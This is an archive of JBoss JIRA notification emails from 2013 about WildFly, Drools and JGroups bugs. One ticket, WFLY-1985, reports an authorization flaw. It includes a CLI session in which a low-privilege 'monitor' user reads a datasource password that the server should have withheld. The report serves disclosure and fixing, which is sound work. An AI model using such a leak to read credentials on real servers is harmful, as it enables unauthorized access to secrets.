From jira-events at lists.jboss.org  Tue Sep  3 05:35:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1985) read-attribute operation is
 leaking value when user is not authorized to read that attribute
In-Reply-To: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499794.1378194012000.5387.1378200903643@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1985?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1985:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> read-attribute operation is leaking value when user is not authorized to read that attribute
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1985
>                 URL: https://issues.jboss.org/browse/WFLY-1985
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> This is affecting native interface and consequently CLI - HTTP and JMX have the correct behavior as they aren't simply forwarding the result of native interface. 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {"identity" => {
>         "username" => "monitor",
>         "realm" => "ManagementRealm"
>     }}
> }
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=ExampleDS:read-attribute(name=password)
> {
>     "outcome" => "failed",
>     "result" => "sa",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'read-attribute' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"ExampleDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:35:04 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 05:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1986) Review exceptions thrown for
 authorization cases in JMX
In-Reply-To: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499796.1378194827000.5397.1378200904047@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1986?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-1986:
--------------------------------

    Labels: rbac-filed-by-qa  (was: )

    
> Review exceptions thrown for authorization cases in JMX
> -------------------------------------------------------
>
>                 Key: WFLY-1986
>                 URL: https://issues.jboss.org/browse/WFLY-1986
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should be reconsidered which exception to use for RBAC authorization cases in JMX. 
> For example "AttributeNotFoundException" doesn't make much sense when attribute exists but user is missing permissions for write. In this case I would use its superclass "OperationsException" instead. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:39:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 3 Sep 2013 05:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1986) Review exceptions thrown for
 authorization cases in JMX
In-Reply-To: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499796.1378194827000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499796.1378194827000.5410.1378201143706@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1986?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801057#comment-12801057 ] 

Darran Lofthouse commented on WFLY-1986:
----------------------------------------

We do need to be very careful that whatever exceptions are used that they do not reveal the existence of items that the caller should not know about.
                
> Review exceptions thrown for authorization cases in JMX
> -------------------------------------------------------
>
>                 Key: WFLY-1986
>                 URL: https://issues.jboss.org/browse/WFLY-1986
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> It should be reconsidered which exception to use for RBAC authorization cases in JMX. 
> For example "AttributeNotFoundException" doesn't make much sense when attribute exists but user is missing permissions for write. In this case I would use its superclass "OperationsException" instead. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:53:03 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Tue, 3 Sep 2013 05:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935639@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935639@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935639.5441.1378201983361@jira02.app.mwc.hst.phx2.redhat.com>

Emmanuel Hugonnet created WFLY-1988:
---------------------------------------

             Summary:  SaslException at startup in domain mode using JAAS for ManagementRealm
                 Key: WFLY-1988
                 URL: https://issues.jboss.org/browse/WFLY-1988
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management
    Affects Versions: 8.0.0.Alpha4
            Reporter: Emmanuel Hugonnet
            Assignee: Emmanuel Hugonnet




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:53:03 2013
From: jira-events at lists.jboss.org (Emmanuel Hugonnet (JIRA))
Date: Tue, 3 Sep 2013 05:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.5445.1378201983545@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Emmanuel Hugonnet updated WFLY-1988:
------------------------------------

    Bugzilla Update: Perform

    
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:55:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 05:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.5448.1378202103991@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1988:
------------------------------------------

    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1003464

    
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:55:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 05:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.5451.1378202104223@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801065#comment-12801065 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

The generated authkey should avoid 0x00 byte when it is randomly generated.
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:13:03 2013
From: jira-events at lists.jboss.org (Mauricio Salatino (JIRA))
Date: Tue, 3 Sep 2013 06:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-245) Drools sees a type as a
	package
In-Reply-To: <JIRA.12499693.1377873645000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499693.1377873645000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499693.1377873645000.5514.1378203183990@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-245?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801075#comment-12801075 ] 

Mauricio Salatino commented on DROOLS-245:
------------------------------------------

Hi there, the question is when the Client class is generated and where... This sounds as a classloader issue, where the class is not in the same classloader as drools is and that's why the kbuilder didn't find the class. Notice that you can create the kbuilder with a specific classloader and that should be the one that contains the Client class.

Hope it helps
                
> Drools sees a type as a package 
> --------------------------------
>
>                 Key: DROOLS-245
>                 URL: https://issues.jboss.org/browse/DROOLS-245
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: georg tornqvist
>            Assignee: Mark Proctor
>
> Hi,
> I want Drools to reason over an axis2 type, but the Drools compiler sees the type as a package, see error message below.
> Strictly speaking, the Drools compiler may be right. The type "Client" encapsulates a "Factory" class, making hierarchically speaking the class "Client" a package.
> Although I'm fairly new to Drools, I'm pretty sure that the behavior I'm experiencing is not right. The Drools version used in the WSO2BRS-2.0.0 is able to reason over the very same axis2 types.
> Error importing : 'nl.domain.www.schema.Client'
> Rule Compilation error : [Rule name='Your First Rule']
> 	io31/Rule_Your_First_Rule_16db2a632a4b4efd96dde4c6d6a55cdf.java (2:57) : Only a type can be imported. 
> nl.domain.www.schema.Client resolves to a package

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:13:04 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Tue, 3 Sep 2013 06:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
	incorrectly
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.5519.1378203184225@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Vytautas Gimbutas updated DROOLS-244:
-------------------------------------

    Attachment: app-ss-test-case.zip

    
> Sliding windows working incorrectly
> -----------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> I'm having an issue with sliding windows. For some reason even though event is in the past it still gets into the window.
> I'm attaching drl file, the event/fact classes.
> I expect it to print 1 0, but instead it prints: 1 1
> The code that reproduces the issue:
>    KnowledgeBuilder kbuilder = KnowledgeBuilderFactory.newKnowledgeBuilder();
>         kbuilder.add(ResourceFactory.newClassPathResource("file.drl") , ResourceType.DRL);
>         if (kbuilder.hasErrors() ) {
>             System.out.println( kbuilder.getErrors() );
>         }
>         KnowledgeBase kbase = KnowledgeBaseFactory.newKnowledgeBase();
>         kbase.addKnowledgePackages(kbuilder.getKnowledgePackages());
>         StatefulKnowledgeSession ksession = kbase.newStatefulKnowledgeSession();
>         Transaction transaction = new Transaction();
>         TransactionCompletedEvent event = new TransactionCompletedEvent();
>         event.setTransaction(transaction);
>         ksession.insert(transaction);
>         Date today = new Date();
>         Calendar cal = new GregorianCalendar();
>         cal.setTime(today);
>         cal.add(Calendar.DAY_OF_MONTH, -30);
>         event.setCreated(cal.getTime());
>         WorkingMemoryEntryPoint wmep = ksession.getWorkingMemoryEntryPoint("TransactionCompletedEventStream");
>         wmep.insert(event);
>         ksession.fireAllRules();
>         TransactionCreatedEvent event2 = new TransactionCreatedEvent();
>         event2.setTransaction(transaction);
>         ksession.insert(transaction);
>         ksession.getWorkingMemoryEntryPoint("TransactionCreatedEventStream").insert(event2);
>         ksession.fireAllRules();

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:13:04 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Tue, 3 Sep 2013 06:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
	incorrectly
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.5523.1378203184354@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801076#comment-12801076 ] 

Vytautas Gimbutas commented on DROOLS-244:
------------------------------------------

I attached app-test-case.zip, in order to see the issue just run TimestampAttributeTest.
Expected output is:
1
0

Actual output is:
1
1
                
> Sliding windows working incorrectly
> -----------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> I'm having an issue with sliding windows. For some reason even though event is in the past it still gets into the window.
> I'm attaching drl file, the event/fact classes.
> I expect it to print 1 0, but instead it prints: 1 1
> The code that reproduces the issue:
>    KnowledgeBuilder kbuilder = KnowledgeBuilderFactory.newKnowledgeBuilder();
>         kbuilder.add(ResourceFactory.newClassPathResource("file.drl") , ResourceType.DRL);
>         if (kbuilder.hasErrors() ) {
>             System.out.println( kbuilder.getErrors() );
>         }
>         KnowledgeBase kbase = KnowledgeBaseFactory.newKnowledgeBase();
>         kbase.addKnowledgePackages(kbuilder.getKnowledgePackages());
>         StatefulKnowledgeSession ksession = kbase.newStatefulKnowledgeSession();
>         Transaction transaction = new Transaction();
>         TransactionCompletedEvent event = new TransactionCompletedEvent();
>         event.setTransaction(transaction);
>         ksession.insert(transaction);
>         Date today = new Date();
>         Calendar cal = new GregorianCalendar();
>         cal.setTime(today);
>         cal.add(Calendar.DAY_OF_MONTH, -30);
>         event.setCreated(cal.getTime());
>         WorkingMemoryEntryPoint wmep = ksession.getWorkingMemoryEntryPoint("TransactionCompletedEventStream");
>         wmep.insert(event);
>         ksession.fireAllRules();
>         TransactionCreatedEvent event2 = new TransactionCreatedEvent();
>         event2.setTransaction(transaction);
>         ksession.insert(transaction);
>         ksession.getWorkingMemoryEntryPoint("TransactionCreatedEventStream").insert(event2);
>         ksession.fireAllRules();

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:17:03 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Tue, 3 Sep 2013 06:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.5534.1378203423564@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Vytautas Gimbutas updated DROOLS-244:
-------------------------------------

        Summary: Sliding windows working incorrectly when timestamp attribute is defined  (was: Sliding windows working incorrectly)
    Description: 
Download app-ss-test-case.zip and run TimestampAttributeTest.

When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).

Expected output:
1
0

Actual output:
1
1

  was:
I'm having an issue with sliding windows. For some reason even though event is in the past it still gets into the window.

I'm attaching drl file, the event/fact classes.

I expect it to print 1 0, but instead it prints: 1 1
The code that reproduces the issue:

   KnowledgeBuilder kbuilder = KnowledgeBuilderFactory.newKnowledgeBuilder();
        kbuilder.add(ResourceFactory.newClassPathResource("file.drl") , ResourceType.DRL);
        if (kbuilder.hasErrors() ) {
            System.out.println( kbuilder.getErrors() );
        }
        KnowledgeBase kbase = KnowledgeBaseFactory.newKnowledgeBase();
        kbase.addKnowledgePackages(kbuilder.getKnowledgePackages());

        StatefulKnowledgeSession ksession = kbase.newStatefulKnowledgeSession();

        Transaction transaction = new Transaction();

        TransactionCompletedEvent event = new TransactionCompletedEvent();
        event.setTransaction(transaction);
        ksession.insert(transaction);
        Date today = new Date();
        Calendar cal = new GregorianCalendar();
        cal.setTime(today);
        cal.add(Calendar.DAY_OF_MONTH, -30);

        event.setCreated(cal.getTime());

        WorkingMemoryEntryPoint wmep = ksession.getWorkingMemoryEntryPoint("TransactionCompletedEventStream");
        wmep.insert(event);
        ksession.fireAllRules();

        TransactionCreatedEvent event2 = new TransactionCreatedEvent();
        event2.setTransaction(transaction);
        ksession.insert(transaction);
        ksession.getWorkingMemoryEntryPoint("TransactionCreatedEventStream").insert(event2);

        ksession.fireAllRules();


    
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:45:03 2013
From: jira-events at lists.jboss.org (Gytis Trikleris (JIRA))
Date: Tue, 3 Sep 2013 06:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1989) Remove XTS subsystem's
 dependency on default Undertow host
In-Reply-To: <JIRA.12499815.1378204999381@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499815.1378204999381@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499815.1378204999381.5581.1378205103343@jira02.app.mwc.hst.phx2.redhat.com>

Gytis Trikleris created WFLY-1989:
-------------------------------------

             Summary: Remove XTS subsystem's dependency on default Undertow host
                 Key: WFLY-1989
                 URL: https://issues.jboss.org/browse/WFLY-1989
             Project: WildFly
          Issue Type: Enhancement
          Components: XTS
            Reporter: Gytis Trikleris
            Assignee: Gytis Trikleris
             Fix For: 8.0.0.Beta1


Make sure that XTS subsystem chooses correct Undertow host instead of always requiring for "default-host"

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:47:03 2013
From: jira-events at lists.jboss.org (Architect SoftWeb.ISD (JIRA))
Date: Tue, 3 Sep 2013 06:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.5596.1378205223565@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Architect SoftWeb.ISD reopened JGRP-1660:
-----------------------------------------



It looks as it is possible to reproduce the issue with special conditions.
They are
1).Thread.sleep( 100 );  between lock/unlock.
2).Two tests should be run and form the cluster.
                
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:57:03 2013
From: jira-events at lists.jboss.org (Architect SoftWeb.ISD (JIRA))
Date: Tue, 3 Sep 2013 06:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.5608.1378205823428@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Architect SoftWeb.ISD updated JGRP-1660:
----------------------------------------

    Attachment: LockServiceStabilityTestCase.java


Changed test case which needs to be able to reproduce hanging at the special conditions.
Unfortunately, it was converted to JUnit test because we don't use TestNG.
lock.xml loading is also changed to be relative to test.

                
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
>                 Object.wait(long) line: not available [native method]      
>                 Locking$ClientLock(Object).wait() line: 485          
>                 Locking$ClientLock.acquireTryLock(long, boolean) line: 1010       
>                 Locking$ClientLock.tryLock() line: 896     
>                 CENTRAL_LOCK(Locking).down(Event) line: 152                
>                 ProtocolStack.down(Event) line: 1025    
>                 JChannel.down(Event) line: 718                
>                 LockService$LockImpl.tryLock() line: 102               
>                 LockServiceStabilityTestCase$ClientImitation.run() line: 167        
>                 Thread.run() line: 662     

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 06:57:03 2013
From: jira-events at lists.jboss.org (Architect SoftWeb.ISD (JIRA))
Date: Tue, 3 Sep 2013 06:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.5611.1378205823478@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801088#comment-12801088 ] 

Architect SoftWeb.ISD edited comment on JGRP-1660 at 9/3/13 6:56 AM:
---------------------------------------------------------------------

Changed test case is added which needs to be able to reproduce hanging at the special conditions.
Unfortunately, it was converted to JUnit test because we don't use TestNG.
lock.xml loading is also changed to be relative to test.

                
      was (Author: architect.softweb.isd):
    Changed test case which needs to be able to reproduce hanging at the special conditions.
Unfortunately, it was converted to JUnit test because we don't use TestNG.
lock.xml loading is also changed to be relative to test.

                  
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
